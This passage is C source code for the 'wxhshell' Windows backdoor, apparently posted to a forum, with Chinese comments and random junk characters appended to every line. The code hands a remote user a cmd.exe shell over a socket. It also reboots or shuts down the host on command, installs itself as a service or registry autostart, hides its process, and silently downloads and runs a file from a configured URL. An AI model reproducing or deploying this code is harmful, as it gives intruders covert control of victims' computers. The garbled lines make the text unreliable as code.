Zg!E}B:z  
    switch(cmd[0]) { 55`cNZ  
  }@g#S@o  
  // 帮助 f/=H#'+8  
  case '?': { ;[-y>qU0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N,`<:'  
    break; , p r ",=  
  } k12mxR/  
  // 安装 $h'>Zvf  
  case 'i': { GoKMi[b  
    if(Install()) uvGFo)9q3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 82z<Q*YP  
    else T<ekDhlr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :*lB86Ly  
    break; 2lBu"R6}  
    } rjT!S1Hs  
  // 卸载 4_?*@L1  
  case 'r': { zMN4cBL9m  
    if(Uninstall()) skfFj&_T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )TgjaR9G  
    else ZlYb8+rW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3)qtz_,H/g  
    break; <}Rr C#uiA  
    } ^VB_>|UN4  
  // 显示 wxhshell 所在路径 -"3<Ll  
  case 'p': { N/ mC,7Q  
    char svExeFile[MAX_PATH]; -o0~xspF  
    strcpy(svExeFile,"\n\r"); {-\VX2:;[9  
      strcat(svExeFile,ExeFile); 2<5s0GT'/  
        send(wsh,svExeFile,strlen(svExeFile),0); T WgI-xB  
    break; "@E(}z'sM  
    } =nN&8vRH  
  // 重启 WqRg/  
  case 'b': { v\ Xk6k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <lVW; l7  
    if(Boot(REBOOT)) i6h , Aw3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E@\bFy_!>b  
    else { uCpk1d  
    closesocket(wsh); B (dq$+4  
    ExitThread(0); *Z"(K\1TH  
    } |Xl,~-.  
    break; 4*9:  
    } zi}dQsy6  
  // 关机 b 7bbrR8  
  case 'd': { N{6Lvq[8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y>[u(q&09O  
    if(Boot(SHUTDOWN)) H?axlRmw3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4]]1J L(Ka  
    else { DcQsdeuQ  
    closesocket(wsh); 'y.'Xj:l  
    ExitThread(0); iw^(3FcP@C  
    } /8w _jjW  
    break; $ OMGo`z  
    } co!#.  
  // 获取shell i<nUp1r(  
  case 's': { &U8W(NxN  
    CmdShell(wsh); W.AN0N  
    closesocket(wsh); g&"__~dS-F  
    ExitThread(0); C/Dc1sj  
    break; p V^hZ.  
  } :K_JY   
  // 退出 }$|uIS  
  case 'x': { !jxz2Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yj^n4G(h  
    CloseIt(wsh); ^g2p!7  
    break; #b4Pn`[   
    } !&D&Gs  
  // 离开 wA<#E6^vG  
  case 'q': { niV=Ijt{5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fu95-)M  
    closesocket(wsh); 29E9ZjSK  
    WSACleanup(); NPM}w!  
    exit(1); +LM /< l  
    break; k%Q>lf<e   
        } !fcr3x|Y~M  
  } 1[vmK,N=E  
  } %vO b"K$X  
w;(`!^xv  
  // 提示信息 )_nc;&%w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yA+:\%y$  
} 0g@ 8x_3  
  } 8j} CP  
4W9#z~'  
  return; 5? `*i"  
} W=Ru?sG=  
4=>4fia&D  
// shell模块句柄 X,<n|zp  
int CmdShell(SOCKET sock) ^ cn)eA  
{ ` AA[k  
STARTUPINFO si; =%YU~  
ZeroMemory(&si,sizeof(si)); H}QOoXWkg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b_]14 v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X|F([,o  
PROCESS_INFORMATION ProcessInfo; 'o2x7~C@  
char cmdline[]="cmd"; bqxbOQd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^MesP:[2  
  return 0; bb6J$NR  
} i# 1:DiF  
b"y][5VE  
// 自身启动模式 =M'y& iz-  
int StartFromService(void) ruLi "d  
{ AoEG%nT  
typedef struct AopC xaJ`  
{ ui,#AZQ#{4  
  DWORD ExitStatus; [*O#6Xu  
  DWORD PebBaseAddress; Kd _tjWS  
  DWORD AffinityMask; {<a(1#{  
  DWORD BasePriority; eXI^9uH  
  ULONG UniqueProcessId; XTD _q  
  ULONG InheritedFromUniqueProcessId; 3 n/U4fn_  
}   PROCESS_BASIC_INFORMATION; 2!/_Xh  
;9pOtr  
PROCNTQSIP NtQueryInformationProcess; ~B%=g)w  
VrA9}"1x~*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =!'gV:M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Blo`'  
[g_Cg=J  
  HANDLE             hProcess; Z_Ox'  
  PROCESS_BASIC_INFORMATION pbi; O1Gd_wDC/i  
SB1\SNB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @O<kjR<b  
  if(NULL == hInst ) return 0; xr) Rx{)3h  
t,;1?W#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ) w.cCDL c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N?H;fK4v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EnJAHgRV;e  
jZcjiOX  
  if (!NtQueryInformationProcess) return 0; g_}r)CgG|  
'!64_OMj'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W :PGj0?  
  if(!hProcess) return 0; cy)gN g  
93yJAao9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +.Kmpw4  
%Ysu613mz  
  CloseHandle(hProcess); +pJ;}+  
Dcq\1V.e`W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2+Z2`k]AC  
if(hProcess==NULL) return 0; iKa}@U  
tnz BNW8  
HMODULE hMod; SeBbI&Ju  
char procName[255]; :<w3.(Z  
unsigned long cbNeeded; <L@0w8i`  
9)Y]05us  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }> k9]Y  
3_2(L"S2  
  CloseHandle(hProcess); |,j6cFNw  
.!Kdi|a)  
if(strstr(procName,"services")) return 1; // 以服务启动 h[%`'(  
1sZwW P  
  return 0; // 注册表启动 Xi_>hL+R(  
} :cop0;X:Wm  
pJ x88LfR  
// 主模块 \BaN?u)a  
int StartWxhshell(LPSTR lpCmdLine) '|<+QAc  
{ |C@)#.nm[  
  SOCKET wsl; ho2o/>Ef3  
BOOL val=TRUE; Z.$ncP0s  
  int port=0;  &(\z  
  struct sockaddr_in door; 3=1aMQ  
6#O n .Q  
  if(wscfg.ws_autoins) Install(); LbtcZ)D!  
Dg/&m*Yl  
port=atoi(lpCmdLine); L@w|2  
AZxx%6  
if(port<=0) port=wscfg.ws_port; A"k6n\!n;  
Aj.TX%}`h  
  WSADATA data; nI%0u<=d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Br8\2=$  
kssS,Ogf\_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zv!%u=49  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :k075Zr/#D  
  door.sin_family = AF_INET; "-kb=fY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  Z $Ynar  
  door.sin_port = htons(port); Y4}!9x  
D{h1"q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dC_L~ }=  
closesocket(wsl); 'Zf_/ y  
return 1; e|+U7=CK  
} ;Aiuy{<  
|x 2>F  
  if(listen(wsl,2) == INVALID_SOCKET) { 0]{h,W3]@[  
closesocket(wsl); @"-<m|lM  
return 1; %xf6U>T  
} XRKL;|cd  
  Wxhshell(wsl); gpsEN(.w  
  WSACleanup(); xA#B1qbw  
G5E03xvL  
return 0; /sH3Rk.>  
&@c=$+#C  
} p-UACMN& c  
{QTfD~z^K  
// 以NT服务方式启动 |:`f#H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BKIAc6  
{ x SF#ys4v  
DWORD   status = 0; eP|:b &  
  DWORD   specificError = 0xfffffff; FD*`$.e3\  
>IC.Zt@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bT*MJ7VVm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S& 8gZ~B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +?[TH?2c+  
  serviceStatus.dwWin32ExitCode     = 0; xaX3<V@S  
  serviceStatus.dwServiceSpecificExitCode = 0;  $.(%7[  
  serviceStatus.dwCheckPoint       = 0; }]N7CWy  
  serviceStatus.dwWaitHint       = 0; 7qV_QZ!.  
QKYIBX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y'xB? >|  
  if (hServiceStatusHandle==0) return; 7w_`<b6  
Z_D8}$!  
status = GetLastError(); ~K 8eRT  
  if (status!=NO_ERROR) 3_B .W  
{ n`? j. s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sAfSI<L_  
    serviceStatus.dwCheckPoint       = 0; cfMj^*I  
    serviceStatus.dwWaitHint       = 0; [Oe$E5qv)]  
    serviceStatus.dwWin32ExitCode     = status; uz".!K[,wE  
    serviceStatus.dwServiceSpecificExitCode = specificError; %YM4x!6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! ]&a/$U  
    return; aJ88U69  
  } muo(bR8  
bdk"7N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m.EI("n"J  
  serviceStatus.dwCheckPoint       = 0; Gn #5zx#l  
  serviceStatus.dwWaitHint       = 0; 5Az=)q4Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <33[qt~  
} q-eC=!#}  
kB_GL>fc  
// 处理NT服务事件,比如:启动、停止 (]^9>3{|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $)vljM<<  
{ FF6[qSV  
switch(fdwControl) |8 c3%jve  
{ wo$9$~(  
case SERVICE_CONTROL_STOP: }H!c9Y  
  serviceStatus.dwWin32ExitCode = 0; 4K[E3aA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YwQxN"  
  serviceStatus.dwCheckPoint   = 0; <s2IC_f<+  
  serviceStatus.dwWaitHint     = 0; Bjq1za  
  { O9oYuC:q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t@QaxZIlt;  
  } 6E{HNPMb>  
  return; (Ybc~M)z  
case SERVICE_CONTROL_PAUSE: iKN~fGRc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mi,yg=V  
  break; D5Wo e&g,  
case SERVICE_CONTROL_CONTINUE: 1T!b# x4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HhhN8t  
  break; D'ZR>@w@  
case SERVICE_CONTROL_INTERROGATE: hU3c;6]3  
  break; [0El z@.C  
}; 6C4c.+S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C$SuFL(pb  
} g2JNa?z  
[U]U *x  
// 标准应用程序主函数 \Pi\c~)Pr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /qed_w.p  
{ 57*z0<  
#Gx%PQ`  
// 获取操作系统版本 QxH%4 )?  
OsIsNt=GetOsVer(); rS\j9@=Y4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fPZt*A__  
0z #'=XWk  
  // 从命令行安装 ' 7+x,TszI  
  if(strpbrk(lpCmdLine,"iI")) Install(); t*m04* }  
CeSr~Ikg|  
  // 下载执行文件 ynvU$}w ~'  
if(wscfg.ws_downexe) { !'wh hi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D)U 9xA)J  
  WinExec(wscfg.ws_filenam,SW_HIDE); g&!UaJ[#9  
} Hdw;=]-  
Z,)4(#b =  
if(!OsIsNt) { !?Gt5$f  
// 如果时win9x,隐藏进程并且设置为注册表启动 7"@^JxYN  
HideProc(); C$(US8:{  
StartWxhshell(lpCmdLine); M(KsLu1   
} kfr' P u  
else =e](eA;  
  if(StartFromService()) h:-ZXIv?  
  // 以服务方式启动 T$%r?p(s  
  StartServiceCtrlDispatcher(DispatchTable); i'OFun+-,  
else 1K?RA*aj  
  // 普通方式启动 r&oR|-2hRk  
  StartWxhshell(lpCmdLine); GK .^Gd  
4~xKW2*`K  
return 0; k\BJs@-  
}
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只看该作者 1 发表于: 2006-10-10
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